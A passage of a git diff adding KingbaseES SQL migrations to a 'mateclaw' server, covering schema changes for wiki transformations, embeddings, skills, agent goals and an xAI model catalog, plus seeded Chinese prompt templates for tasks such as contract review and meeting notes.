mode 100644 index 00000000..7109af40 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V106__wiki_transformation_output_target.sql @@ -0,0 +1,24 @@ +-- Two-part follow-up to V105 so a transformation's output can flow back +-- into the KB as a first-class artifact. See the h2 sibling migration for +-- the prose explanation. MySQL lacks ADD COLUMN IF NOT EXISTS, so each +-- column is guarded by an INFORMATION_SCHEMA check + prepared statement. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_transformation' AND column_name = 'output_target' + ) THEN + ALTER TABLE mate_wiki_transformation ADD COLUMN output_target VARCHAR(16) NOT NULL DEFAULT 'none'; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_transformation_run' AND column_name = 'output_page_id' + ) THEN + ALTER TABLE mate_wiki_transformation_run ADD COLUMN output_page_id BIGINT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V107__wiki_page_embedding.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V107__wiki_page_embedding.sql new file mode 100644 index 00000000..e1bca69e --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V107__wiki_page_embedding.sql @@ -0,0 +1,33 @@ +-- Page-level embedding columns. See the h2 sibling for the prose +-- explanation. MySQL lacks ADD COLUMN IF NOT EXISTS, so each column +-- guarded by an INFORMATION_SCHEMA check + prepared statement. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'embedding' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN embedding BYTEA DEFAULT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'embedding_model' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN embedding_model VARCHAR(64) DEFAULT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_page' AND column_name = 'embedding_text_version' + ) THEN + ALTER TABLE mate_wiki_page ADD COLUMN embedding_text_version VARCHAR(32) DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V108__wiki_transformation_starter_pack.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V108__wiki_transformation_starter_pack.sql new file mode 100644 index 00000000..fd945575 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V108__wiki_transformation_starter_pack.sql @@ -0,0 +1,212 @@ +-- Starter pack: 7 workspace-wide transformation templates. See h2 sibling +-- for the prose explanation. ON CONFLICT DO NOTHING so a re-run (e.g. via repair) +-- never clobbers user edits. + +INSERT INTO mate_wiki_transformation + (id, kb_id, workspace_id, name, title, description, prompt_template, + apply_default, model_id, enabled, output_target, create_time, update_time, deleted) +VALUES +(1000004001, NULL, 1, 'contract-risk-extract', '合同风险点提取', '逐条审查合同条款,标注风险等级、原文位置、AI 建议改写。配合企业场景 → 合同审查使用。', '你是一名企业法务审查员。从下面的合同文本中完整提取所有需要关注的风险条款,按以下结构输出 Markdown: + +## 风险条款清单 + +对每条值得审查的条款,输出三级标题: + +### <条款简称> +- **风险等级**:高 / 中 / 低 +- **条款类型**:赔偿 / 责任限制 / 付款 / 保密 / 竞业 / 终止 / 管辖 / 数据保护 / 其他 +- **原文位置**:第 X 条 / 第 Y 页(材料未标号时写「未标注」) +- **原文摘录**:用「」引用关键句 +- **风险描述**:≤ 50 字说明风险所在 +- **建议改写**:给出可直接采用的修订版本 + +## 总体评估 + +一段话总结这份合同的整体风险水位与签字建议(≤ 200 字)。 + +要求: +- 不要虚构原文没有的条款 +- 数字与条款编号保留原样 +- 中文输出,不要任何客套或元描述 + +合同标题:{title} + +合同正文: +{input_text}', FALSE, NULL, TRUE, 'page', NOW(), NOW(), 0), + +(1000004002, NULL, 1, 'meeting-action-items', '会议纪要 → 行动项', '从会议纪要中穷尽抽取决议 + 行动项(owner / 截止日 / 验收标准),适合周会、决策会议。', '你是会议纪要分析助理。从下面的纪要中穷尽抽取所有行动项与决议,按以下结构输出 Markdown: + +## 决议清单 +按时间或重要性顺序列出每条明确决议;每条 ≤ 一句话。 + +## 行动项清单 + +| 序号 | 行动 | 负责人 | 截止日 | 验收标准 | +|---|---|---|---|---| + +要求: +- 「行动」用动词开头(如「提交」「完成」「对齐」) +- 负责人若未明确写「未指派」 +- 截止日若未明确写「未定」 +- 验收标准一句话写出「做完是什么样」 +- 不要把「讨论了 X」当作行动项 + +## 风险与依赖 +一句话列出会议中提到的潜在阻塞或跨团队依赖(≤ 5 条)。 + +要求:中文,无客套,无元描述。 + +会议主题:{title} + +纪要正文: +{input_text}', FALSE, NULL, TRUE, 'page', NOW(), NOW(), 0), + +(1000004003, NULL, 1, 'customer-profile', '客户邮件 / 访谈画像', '把客户邮件、会议纪要、CRM 记录合成一份结构化客户画像,配合企业场景 → 客户情报使用。', '你是销售情报员。从下面的客户邮件 / CRM 记录 / 访谈中提取一份客户画像,按以下结构输出 Markdown: + +## 客户档案 +- **名称**: +- **行业 / 规模**: +- **当前阶段**:潜在 / 沟通中 / 谈判中 / 已成交(若无明确信号写「未知」) +- **决策链关键人**:列出姓名 + 角色 + 倾向 + +## 痛点与机会 +- 3-5 条关键痛点,每条带原文引用 +- 2-3 条潜在切入点 + +## 异议预判 +列出客户可能的反对意见 + 对应应对话术。 + +## 下一步建议 +- 3 条具体动作,按优先级排序,每条带「为什么现在做」 + +要求:不要发明文本没说的事;不确定时写「未提及」。 + +客户:{title} + +原文: +{input_text}', FALSE, NULL, TRUE, 'page', NOW(), NOW(), 0), + +(1000004004, NULL, 1, 'competitor-update', '竞品动态摘要', '把新闻 / 产品 release / 招聘信号 / 客户提及合成一份竞品动态简报。', '你是市场情报员。从下面的材料中提取与竞争对手相关的动态,按以下结构输出 Markdown: + +## 涉及对手 +列出材料中提到的所有竞品公司或产品。 + +## 关键动态 + +按时间倒序,每条输出: + +### <对手 / 产品> · <动态简称> +- **类型**:新产品 / 招聘 / 融资 / 客户胜出 / 价格调整 / 团队变动 / 其他 +- **原文摘录**:「」引用 +- **来源**:网页 / 邮件 / 新闻渠道 +- **对我们的影响**:威胁 / 机会 / 中性,一句话说明 + +## 战术建议 +3 条针对性的应对动作,按优先级排序。 + +## 监控建议 +列出值得长期追踪的关键词或信号。 + +要求:中文,不发明内容,不确定时跳过。 + +材料:{title} + +原文: +{input_text}', FALSE, NULL, TRUE, 'page', NOW(), NOW(), 0), + +(1000004005, NULL, 1, 'resume-structured-extract', '简历结构化', '把简历提取为标准化档案:教育、工作、技能、亮点。适合批量初筛。', '你是 HR 助理。把下面的简历提取为结构化档案: + +## 候选人信息 +- **姓名**: +- **当前职位**: +- **总工作年限**: +- **专业领域**: + +## 教育经历 + +| 学校 | 学位 / 专业 | 时间 | +|---|---|---| + +## 工作经历 + +按时间倒序,每段输出: + +### <公司> · <职位> · <时间> +- **职责摘要**:≤ 30 字 +- **关键产出**:≤ 3 条 bullet(量化优先) + +## 技能矩阵 + +| 技能 | 熟练度 | +|---|---| + +## 候选人亮点 +一段话归纳最值得关注的 3 件事(≤ 150 字)。 + +要求:不要发明文本没有的经历;不确定写「未提及」;中文输出。注意:不要把性别 / 年龄 / 户籍写进画像。 + +简历:{title} + +原文: +{input_text}', FALSE, NULL, TRUE, 'page', NOW(), NOW(), 0), + +(1000004006, NULL, 1, 'incident-postmortem', '事故 5-Why 复盘', '从事故报告 / 时间线生成 5-Why 链 + 整改清单 + 相似事故关键词。适合 SRE / 运维团队。', '你是 SRE 事故复盘助理。从下面的事故报告 / 时间线中输出 5-Why 分析: + +## 事故概要 +- **现象**:1 句话 +- **影响范围**:用户数 / 系统 / 持续时间 +- **触发时间**: + +## 5 Whys 链 + +1. **现象**:… + **Why?** … +2. **Why?** … +3. **Why?** … +4. **Why?** … +5. **根因 (Why?)** … + +## 整改清单 + +| 序号 | 行动 | 负责团队 | 优先级 | 截止 | +|---|---|---|---|---| + +## 相似事故关联 +列出可能相关的历史事故关键词(用于后续 wiki 检索)。 + +## 复盘要点 +3 条最值得团队记住的教训。 + +要求:中文,技术准确,不发明数据。 + +事故:{title} + +报告: +{input_text}', FALSE, NULL, TRUE, 'page', NOW(), NOW(), 0), + +(1000004007, NULL, 1, 'paper-imrad', '论文 IMRaD 摘要', '把论文 / 技术报告浓缩为 IMRaD 结构化摘要 + 关键术语表,适合研究型团队。', '你是学术摘要助理。把下面的论文 / 技术报告浓缩为 IMRaD 结构化摘要: + +## Introduction +解决什么问题,为什么重要(≤ 100 字) + +## Methods +使用什么方法 / 数据 / 模型(≤ 150 字) + +## Results +最重要的 3-5 个量化或定性结果(每条 ≤ 30 字) + +## Discussion +- **主要洞察**:1-2 句 +- **局限性**:1-2 条 +- **可复现性**:高 / 中 / 低,附 1 句理由 + +## 关键术语 +列出 5-8 个核心术语,每个加一句话定义。 + +要求:保留 LaTeX 公式(如有),不发明结果,中文写作。 + +论文:{title} + +原文: +{input_text}', FALSE, NULL, TRUE, 'page', NOW(), NOW(), 0) +ON CONFLICT (id) DO NOTHING; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V109__wiki_transformation_output_format.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V109__wiki_transformation_output_format.sql new file mode 100644 index 00000000..3da5170b --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V109__wiki_transformation_output_format.sql @@ -0,0 +1,12 @@ +-- Output format declared on the template. See h2 sibling for the prose +-- explanation. MySQL needs the INFORMATION_SCHEMA guard pattern. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_transformation' AND column_name = 'output_format' + ) THEN + ALTER TABLE mate_wiki_transformation ADD COLUMN output_format VARCHAR(16) NOT NULL DEFAULT 'markdown'; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V10__hook_system.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V10__hook_system.sql new file mode 100644 index 00000000..1b2780e4 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V10__hook_system.sql @@ -0,0 +1,34 @@ +-- V10: 声明式 Hook 系统 +-- mate_hook hook 定义(YAML 文件或 UI 写入) +-- mate_hook_run hook 触发审计 +-- (原本命名为 V9 但与 V9__usage_cache_tokens.sql 撞号;重命名为 V10 以共存) + +CREATE TABLE IF NOT EXISTS mate_hook ( + id BIGINT NOT NULL PRIMARY KEY, + name VARCHAR(128) NOT NULL, + description VARCHAR(512), + enabled BOOLEAN NOT NULL DEFAULT TRUE, + event_type VARCHAR(64) NOT NULL, + match_expression TEXT, + action_kind VARCHAR(32) NOT NULL, + action_config TEXT NOT NULL, + rate_limit_per_min INT DEFAULT 60, + timeout_ms INT DEFAULT 3000, + source VARCHAR(16) DEFAULT 'db', + created_at TIMESTAMP NOT NULL, + updated_at TIMESTAMP NOT NULL +); +CREATE INDEX IF NOT EXISTS idx_hook_event_type ON mate_hook (event_type); +CREATE INDEX IF NOT EXISTS idx_hook_enabled ON mate_hook (enabled); + +CREATE TABLE IF NOT EXISTS mate_hook_run ( + id BIGINT NOT NULL PRIMARY KEY, + hook_id BIGINT NOT NULL, + event_type VARCHAR(64) NOT NULL, + status VARCHAR(16) NOT NULL, + duration_ms INT DEFAULT 0, + message VARCHAR(512), + created_at TIMESTAMP NOT NULL +); +CREATE INDEX IF NOT EXISTS idx_hook_run_hook_id ON mate_hook_run (hook_id); +CREATE INDEX IF NOT EXISTS idx_hook_run_created ON mate_hook_run (created_at); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V110__wiki_transformation_run_tokens.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V110__wiki_transformation_run_tokens.sql new file mode 100644 index 00000000..83ea8ac9 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V110__wiki_transformation_run_tokens.sql @@ -0,0 +1,31 @@ +-- Record per-run token usage. See h2 sibling for prose explanation. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_transformation_run' AND column_name = 'input_tokens' + ) THEN + ALTER TABLE mate_wiki_transformation_run ADD COLUMN input_tokens BIGINT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_transformation_run' AND column_name = 'output_tokens' + ) THEN + ALTER TABLE mate_wiki_transformation_run ADD COLUMN output_tokens BIGINT NULL; + END IF; +END $$; + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_transformation_run' AND column_name = 'total_tokens' + ) THEN + ALTER TABLE mate_wiki_transformation_run ADD COLUMN total_tokens BIGINT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V111__wiki_transformation_output_schema.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V111__wiki_transformation_output_schema.sql new file mode 100644 index 00000000..2c728760 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V111__wiki_transformation_output_schema.sql @@ -0,0 +1,11 @@ +-- Optional JSON Schema column. See h2 sibling for the prose explanation. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_wiki_transformation' AND column_name = 'output_schema' + ) THEN + ALTER TABLE mate_wiki_transformation ADD COLUMN output_schema TEXT DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V112__skill_file.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V112__skill_file.sql new file mode 100644 index 00000000..13d40225 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V112__skill_file.sql @@ -0,0 +1,26 @@ +-- V112: persist skill bundle files (scripts/ + references/) in the database. +-- +-- Until now scripts/references only lived on the local filesystem of whichever +-- node handled the upload. Multi-instance deployments sharing one MySQL would +-- have the skill row visible everywhere but the script files only on one node, +-- so any other node attempting to run a skill script either failed or ran a +-- stale local copy. Treating the database as the canonical bundle store and +-- the filesystem as a materialized cache resolves that gap and matches the +-- existing pattern for SKILL.md (canonical in mate_skill.skill_content, +-- mirrored to disk by the workspace manager). +-- +-- TEXT (16MB) comfortably covers the per-file 1MB cap enforced by +-- ZipSkillFetcher and the 50MB total bundle cap. + +CREATE TABLE IF NOT EXISTS mate_skill_file ( + id BIGINT NOT NULL PRIMARY KEY, + skill_id BIGINT NOT NULL, + file_path VARCHAR(512) NOT NULL, + content TEXT, + content_size INT NOT NULL DEFAULT 0, + sha256 CHAR(64), + create_time TIMESTAMP NOT NULL, + update_time TIMESTAMP NOT NULL +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_skill_file_path ON mate_skill_file (skill_id, file_path); +CREATE INDEX IF NOT EXISTS idx_skill_file_skill ON mate_skill_file (skill_id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V113__workspace_memory_search_and_async_indexes.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V113__workspace_memory_search_and_async_indexes.sql new file mode 100644 index 00000000..70555f60 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V113__workspace_memory_search_and_async_indexes.sql @@ -0,0 +1,15 @@ +-- Indexes for two recently-added read paths. Mirrors the H2 file in this +-- migration set; PostgreSQL supports CREATE INDEX IF NOT EXISTS natively. +-- +-- (1) idx_workspace_file_agent_filename — accelerates the memory search tool +-- on mate_workspace_file ("agent_id = ? AND filename LIKE 'prefix%' AND +-- content LIKE '%term%'"). +-- +-- (2) idx_async_task_conv_status — accelerates listActiveTasks(conversationId) +-- ("WHERE conversation_id = ? AND status IN ('pending', 'running')"). +-- The existing single-column idx_async_task_conv left the status filter +-- to a row scan; the compound resolves both in one index seek. + +CREATE INDEX IF NOT EXISTS idx_workspace_file_agent_filename ON mate_workspace_file (agent_id, filename); + +CREATE INDEX IF NOT EXISTS idx_async_task_conv_status ON mate_async_task (conversation_id, status); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V114__conversation_pinned.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V114__conversation_pinned.sql new file mode 100644 index 00000000..62a01304 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V114__conversation_pinned.sql @@ -0,0 +1,12 @@ +-- Per-conversation pin flag. See the h2 sibling for the rationale. +-- MySQL has no ADD COLUMN IF NOT EXISTS; guard via INFORMATION_SCHEMA. + +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_conversation' AND column_name = 'pinned' + ) THEN + ALTER TABLE mate_conversation ADD COLUMN pinned INT DEFAULT 0; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V115__xai_grok_provider.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V115__xai_grok_provider.sql new file mode 100644 index 00000000..4e1384bd --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V115__xai_grok_provider.sql @@ -0,0 +1,35 @@ +-- V115: register the xAI (Grok) provider plus its Grok 3 / Grok 4 model catalog. +-- +-- See the H2 copy for full background. The MySQL copy uses INSERT ... ON +-- DUPLICATE KEY UPDATE; the api_key column is intentionally omitted from the +-- update list so existing deployments that have already configured a key keep it. + +-- -- Provider -------------------------------------------------------------- +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('xai', 'xAI (Grok)', 'xai-', 'OpenAIChatModel', '', 'https://api.x.ai/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name = EXCLUDED.name, + api_key_prefix = EXCLUDED.api_key_prefix, + chat_model = EXCLUDED.chat_model, + base_url = EXCLUDED.base_url, + generate_kwargs = EXCLUDED.generate_kwargs, + support_model_discovery = EXCLUDED.support_model_discovery, + support_connection_check = EXCLUDED.support_connection_check, + freeze_url = EXCLUDED.freeze_url, + require_api_key = EXCLUDED.require_api_key, + update_time = EXCLUDED.update_time; + +-- -- Model catalog --------------------------------------------------------- +-- IDs use the 1000000340-1000000343 block reserved for xAI so future Grok +-- additions can grow contiguously. +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES + (1000000340, 'Grok 4', 'xai', 'grok-4', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000341, 'Grok 4 Fast', 'xai', 'grok-4-fast', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000342, 'Grok 3', 'xai', 'grok-3', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), + (1000000343, 'Grok 3 Mini', 'xai', 'grok-3-mini', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name = EXCLUDED.name, + model_name = EXCLUDED.model_name, + description = EXCLUDED.description, + builtin = EXCLUDED.builtin, + enabled = EXCLUDED.enabled, + update_time = EXCLUDED.update_time; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V116__conversation_model.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V116__conversation_model.sql new file mode 100644 index 00000000..6eac1b08 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V116__conversation_model.sql @@ -0,0 +1,5 @@ +-- See the H2 file for context. KingbaseES (PostgreSQL) supports +-- ADD COLUMN IF NOT EXISTS natively. + +ALTER TABLE mate_conversation ADD COLUMN IF NOT EXISTS model_provider VARCHAR(64); +ALTER TABLE mate_conversation ADD COLUMN IF NOT EXISTS model_name VARCHAR(128); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V117__skill_lifecycle.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V117__skill_lifecycle.sql new file mode 100644 index 00000000..4416fd34 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V117__skill_lifecycle.sql @@ -0,0 +1,25 @@ +-- See the H2 file for context. KingbaseES (PostgreSQL) supports +-- both ADD COLUMN IF NOT EXISTS and CREATE INDEX IF NOT EXISTS natively. +-- +-- Column types: archived_at / last_activity_at use TIMESTAMP(3) to match +-- mate_skill_usage_stat.last_loaded_at; lifecycle_state VARCHAR(16); +-- pinned SMALLINT. + +ALTER TABLE mate_skill ADD COLUMN IF NOT EXISTS lifecycle_state VARCHAR(16) DEFAULT 'active'; +ALTER TABLE mate_skill ADD COLUMN IF NOT EXISTS pinned BOOLEAN DEFAULT FALSE; +ALTER TABLE mate_skill ADD COLUMN IF NOT EXISTS archived_at TIMESTAMP(3) NULL; +ALTER TABLE mate_skill ADD COLUMN IF NOT EXISTS last_activity_at TIMESTAMP(3) NULL; + +CREATE INDEX IF NOT EXISTS idx_skill_lifecycle_state ON mate_skill (lifecycle_state); +CREATE INDEX IF NOT EXISTS idx_skill_last_activity_at ON mate_skill (last_activity_at); + +-- One-time backfill: existing rows take their newest usage tick as the +-- activity anchor. Rows with no usage stat stay NULL and fall through to +-- create_time at query time via the anchor() helper. +UPDATE mate_skill SET last_activity_at = ( + SELECT MAX(last_loaded_at) FROM mate_skill_usage_stat s + WHERE s.skill_name = mate_skill.name +) +WHERE last_activity_at IS NULL; + +UPDATE mate_skill SET lifecycle_state = 'active' WHERE lifecycle_state IS NULL; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V118__purge_model_config_tombstones.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V118__purge_model_config_tombstones.sql new file mode 100644 index 00000000..d4a6371f --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V118__purge_model_config_tombstones.sql @@ -0,0 +1,15 @@ +-- V118: Purge residual deleted=1 rows from mate_model_config. +-- +-- V20 retired soft-delete project-wide and physically deleted every deleted=1 +-- row that existed at that point. V81 then re-introduced an isolated tombstone +-- on id=1000000172 (the bogus 'qwen3-plus' catalog entry) -- keeping the row +-- around as a logical audit trail. The runtime never re-uses ids and treats +-- deleted as a vestige now that @TableLogic is gone, so a tombstoned row +-- has no value beyond leaking into LambdaQueryWrapper queries that don't +-- explicitly filter deleted=0. +-- +-- The validateModel uniqueness check fix in #173 plugged one such leak; this +-- migration eliminates the underlying class of bug by aligning mate_model_config +-- with the V20 hard-delete posture. Idempotent: a no-op on databases without +-- tombstones. +DELETE FROM mate_model_config WHERE deleted = 1; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V119__channel_tool_support.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V119__channel_tool_support.sql new file mode 100644 index 00000000..28859d81 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V119__channel_tool_support.sql @@ -0,0 +1,32 @@ +-- V100__channel_tool_support.sql (KingbaseES dialect) +-- +-- Mirror of the H2 V100, adapted for KingbaseES (PostgreSQL-compatible). +-- PostgreSQL supports ADD COLUMN IF NOT EXISTS and CREATE INDEX IF NOT EXISTS +-- natively, so guards are not needed. + +-- 1. Add channel_id column if missing +ALTER TABLE mate_tool ADD COLUMN IF NOT EXISTS channel_id BIGINT NULL; + +-- 2. Add channel-id index if missing +CREATE INDEX IF NOT EXISTS idx_mate_tool_channel ON mate_tool (channel_id); + +-- 3. Deduplicate same-name rows before adding the unique index — keep +-- deleted=0 first, then most recently updated, then largest id. +DELETE FROM mate_tool +WHERE id IN ( + SELECT id FROM ( + SELECT id, + ROW_NUMBER() OVER ( + PARTITION BY name + ORDER BY + CASE WHEN deleted = 0 THEN 0 ELSE 1 END, + update_time DESC, + id DESC + ) AS rn + FROM mate_tool + ) ranked + WHERE rn > 1 +); + +-- 4. Add unique index on name if missing +CREATE UNIQUE INDEX IF NOT EXISTS uk_mate_tool_name ON mate_tool (name); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V11__skill_synthesis.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V11__skill_synthesis.sql new file mode 100644 index 00000000..f67e536d --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V11__skill_synthesis.sql @@ -0,0 +1,23 @@ +-- V11: Auto Skill Synthesis (RFC-023) +-- Agent 自治创建 skill 后记录来源对话和安全扫描状态 +-- MySQL lacks ADD COLUMN IF NOT EXISTS; use INFORMATION_SCHEMA guard instead. +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_skill' AND column_name = 'source_conversation_id' + ) THEN + ALTER TABLE mate_skill ADD COLUMN source_conversation_id VARCHAR(64) DEFAULT NULL; + END IF; +END $$; + +-- security_scan_status: NULL(旧数据/手动创建) / PASSED / FAILED +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM information_schema.columns + WHERE table_name = 'mate_skill' AND column_name = 'security_scan_status' + ) THEN + ALTER TABLE mate_skill ADD COLUMN security_scan_status VARCHAR(16) DEFAULT NULL; + END IF; +END $$; diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V120__agent_goal.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V120__agent_goal.sql new file mode 100644 index 00000000..8d855685 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V120__agent_goal.sql @@ -0,0 +1,75 @@ +-- Persistent goal — see h2/V120__agent_goal.sql for full design notes. +-- +-- Kingbase/PostgreSQL differences vs H2: +-- 1. CLOB -> TEXT +-- 2. TIMESTAMP -> TIMESTAMP(3) for millisecond precision matching V117 +-- 3. BOOLEAN -> SMALLINT +-- 4. H2 uses a PREDICATE unique index for "one active goal per +-- conversation"; PostgreSQL does not support filtered unique indexes, +-- so we emulate it with a STORED generated column that is NULL for +-- non-active rows + a plain unique index. NULLs are excluded from +-- uniqueness enforcement by PostgreSQL's default index semantics. + +CREATE TABLE IF NOT EXISTS mate_agent_goal ( + id BIGINT NOT NULL, + conversation_id VARCHAR(64) NOT NULL, + agent_id BIGINT NOT NULL, + workspace_id BIGINT NOT NULL, + created_by VARCHAR(64) NOT NULL, + + title VARCHAR(255) NOT NULL, + description TEXT NOT NULL, + exit_criteria TEXT NULL, + success_check_prompt TEXT NULL, + + -- DB values are always lowercase (active|paused|completed|abandoned| + -- exhausted) — enforced by the GoalStatus enum's @EnumValue + -- annotation. The active_conv_key generated column below depends on + -- this convention; any uppercase write would defeat uniqueness. + status VARCHAR(16) NOT NULL DEFAULT 'active', + + turn_budget INT NOT NULL DEFAULT 20, + turns_used INT NOT NULL DEFAULT 0, + llm_call_budget INT NOT NULL DEFAULT 200, + agent_llm_calls_used INT NOT NULL DEFAULT 0, + eval_llm_calls_used INT NOT NULL DEFAULT 0, + + progress_summary TEXT NULL, + completion_score DOUBLE PRECISION NULL, + last_evaluation_at TIMESTAMP(3) NULL, + + auto_followup_enabled BOOLEAN NOT NULL DEFAULT FALSE, + followup_cooldown_seconds INT NOT NULL DEFAULT 0, + last_followup_at TIMESTAMP(3) NULL, + + -- Virtual generated column: NULL for non-active or deleted rows so + -- they fall out of the unique-index check. PostgreSQL ignores NULL keys + -- for uniqueness, giving us "at most one active row per conversation". + active_conv_key VARCHAR(80) + GENERATED ALWAYS AS ( + CASE WHEN status = 'active' AND deleted = 0 + THEN conversation_id ELSE NULL END + ) STORED, + + version INT NOT NULL DEFAULT 0, + deleted SMALLINT NOT NULL DEFAULT 0, + create_time TIMESTAMP(3) NOT NULL, + update_time TIMESTAMP(3) NOT NULL, + + PRIMARY KEY (id) +); +CREATE UNIQUE INDEX IF NOT EXISTS uk_agent_goal_active_conv ON mate_agent_goal (active_conv_key); +CREATE INDEX IF NOT EXISTS idx_agent_goal_conv ON mate_agent_goal (conversation_id, status); +CREATE INDEX IF NOT EXISTS idx_agent_goal_status ON mate_agent_goal (status, last_evaluation_at); +CREATE INDEX IF NOT EXISTS idx_agent_goal_owner ON mate_agent_goal (created_by, status); + +CREATE TABLE IF NOT EXISTS mate_agent_goal_event ( + id BIGINT NOT NULL, + goal_id BIGINT NOT NULL, + event_type VARCHAR(32) NOT NULL, + message_id BIGINT NULL, + detail_json TEXT NULL, + create_time TIMESTAMP(3) NOT NULL, + PRIMARY KEY (id) +); +CREATE INDEX IF NOT EXISTS idx_agent_goal_event_goal ON mate_agent_goal_event (goal_id, id); diff --git a/mateclaw-server/src/main/resources/db/migration/kingbase/V121__tool_disclosure_tier.sql b/mateclaw-server/src/main/resources/db/migration/kingbase/V121__tool_disclosure_tier.sql new file mode 100644 index 00000000..590ccde5 --- /dev/null +++ b/mateclaw-server/src/main/resources/db/migration/kingbase/V121__tool_disclosure_tier.sql @@ -0,0 +1,20 @@ +-- V121__tool_disclosure_tier.sql (KingbaseES dialect) +-- +-- Mirror of the H2 V121, adapted for KingbaseES (PostgreSQL-compatible). +-- PostgreSQL supports ADD COLUMN IF NOT EXISTS natively. +-- +-- See the H2 file for the column semantics. + +-- 1. mate_tool.disclosure_tier (default 'core') +ALTER TABLE mate_tool ADD COLUMN IF NOT EXISTS disclosure_tier VARCHAR(16) DEFAULT 'core'; + +-- 2. mate_mcp_server.disclosure_tier (default 'core' — MCP tools stay directly +-- callable; an admin can move a noisy server to extension) 